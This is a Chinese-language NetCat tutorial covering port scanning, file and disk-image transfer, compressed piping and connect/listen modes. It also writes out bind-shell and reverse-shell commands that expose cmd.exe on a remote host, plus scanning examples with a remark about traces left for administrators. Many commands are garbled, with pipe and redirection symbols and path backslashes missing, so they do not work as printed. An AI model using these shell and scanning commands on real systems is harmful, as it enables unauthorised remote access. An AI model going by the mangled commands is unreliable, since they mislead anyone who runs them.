【功能运用】
1、端口扫描
端口扫描是一探测主机服务的流行方法。NetCat的命令行中,先是参数,再是主机,最后是端口。端口可以是一些服务名、端口号,或者是一个端口范围(形如N-M)。”如:
nc -v -w 2 -z -i 1 20-30
用来扫描target主机的20-30(两端包含)端口,-z表示不发送任何数据到TCP连接或非常有限的数据到UDP连接。-i用以指明两个端口建立连接的时间的间隔。
-w用以指明连接不活动时间。通常情况下,扫描按从高到低的顺序依次扫描指定的端口,-r参数可以让NetCat在指定的端口范围内随机地扫描端口。(当-r被用于单个连接时,本地的端口在8192以上,除非用-p指定)
-g可以用来指定网关(最多可达8个),-G可以用来指定source-routing pointer。
注:NetCat不是一个任意包发生器,但可以与raw socket通话,nit/bpf/dlpi有时也能行。NC可以定向的将输入重定向到任何地方,不仅仅是默认的屏幕.指定的方法很简单,使用 和 somefile如:
server: nc -l -c -p 1234 somefile
client: nc 192.168.0.1 1234 /check/host.disk1
然后,可以利用linux内核的loopback特性,把host.disk以只读的方式mount上,然后就可以做取证分析了.如果真的做取证分析,一定不要在原始的受害主机硬盘上find和类似的操作,因为这会修改时间标记而破坏原始的证据
2、将文件压缩后再传送
如果你的文件很大,何不先压缩它呢,利用管道,我们甚至不用生成压缩后的中间文件!
源主机: tar czf - worknc -l -c -p 1234
目的主机: nc 192.168.0.1 1234tar xzvf -tar
打包时最好不要使用绝对路径,虽然GNU的tar能把它转换成相对路径,但不是所有的平台都能做到,所以如果不想把你的文件系统搞乱的话,就使用相对路径吧!。
这里的server和client的组合是可以互换的如:
干净主机: nc -l -p 1234 -c md5sum -c -grep -v OK
被入侵主机:find /etc -type fxargs md5sumnc 192.168.0.2 1234
连接模式:nc [-options] hostname port[s] [ports]
监听模式:nc -l -p port [options] [hostname] [port]
比如,连接到REMOTE主机,格式为nc -nvv 192.168.x.x 80,连到192.168.x.x的TCP80端口。
监听LOCAL主机,格式为nc -l -p 80 ,监听本机的TCP80端口。
扫描远程主机,格式为nc -nvv -w2 -z 192.168.x.x 80-445,扫描192.168.x.x的TCP80到TCP445的所有端口。
REMOTE主机绑定SHELL,格式为nc -l -p 5354 -t -e C:winntsystem32cmd.exe,绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP 5354端口。
REMOTE主机绑定SHELL并反向连接,格式为nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354,绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口。
以上为最基本的几种用法,其实NC的用法还有很多,当配合管道命令“”与重定向命令“”等命令时功能更强大。
【实例应用】
1 端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 open //显示是否开放open
2 扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心。